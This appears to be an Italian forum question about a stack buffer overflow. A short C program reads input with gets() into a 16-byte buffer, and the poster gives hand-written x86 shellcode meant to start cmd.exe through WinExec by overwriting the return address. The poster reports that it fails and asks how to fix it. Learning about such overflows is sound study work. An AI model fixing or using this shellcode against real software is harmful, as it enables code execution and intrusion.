Ho un programma come questo:
int main() {
char buffer[16];
printf("Write something: ");
gets(buffer);
printf("You wrote: %s\n", buffer);
return 0;
}
E ho scritto un piccolo payload bytecode, che dovrebbe avviare cmd.exe tramite WinExec,
ADD ESP -80 ; 83 C4 80, at 0x0019FF28
XOR EDX, EDX ; 31 D2
PUSH EDX ; 52
PUSH 'd' ; 6A 64
PUSH 'm' ; 6A 6D
PUSH 'c' ; 6A 63
PUSH 1 ; 6A 01
NOP ; 90
CALL F0 F7 77 74 ; E8 F0 F7 77 74 = WinExec (0x7477F7F0)
28 FF 19 ; 28 FF 19 <-- this should be a new return address
Quindi non riuscirà a eseguire il codice, che è sbagliato. Qualche idea su come modificare il codice o qualsiasi idea di cosa dovrei incorporare nel codice? E non sono sicuro che spingere i personaggi sullo stack sia valido. (E sì, è solo una dimostrazione)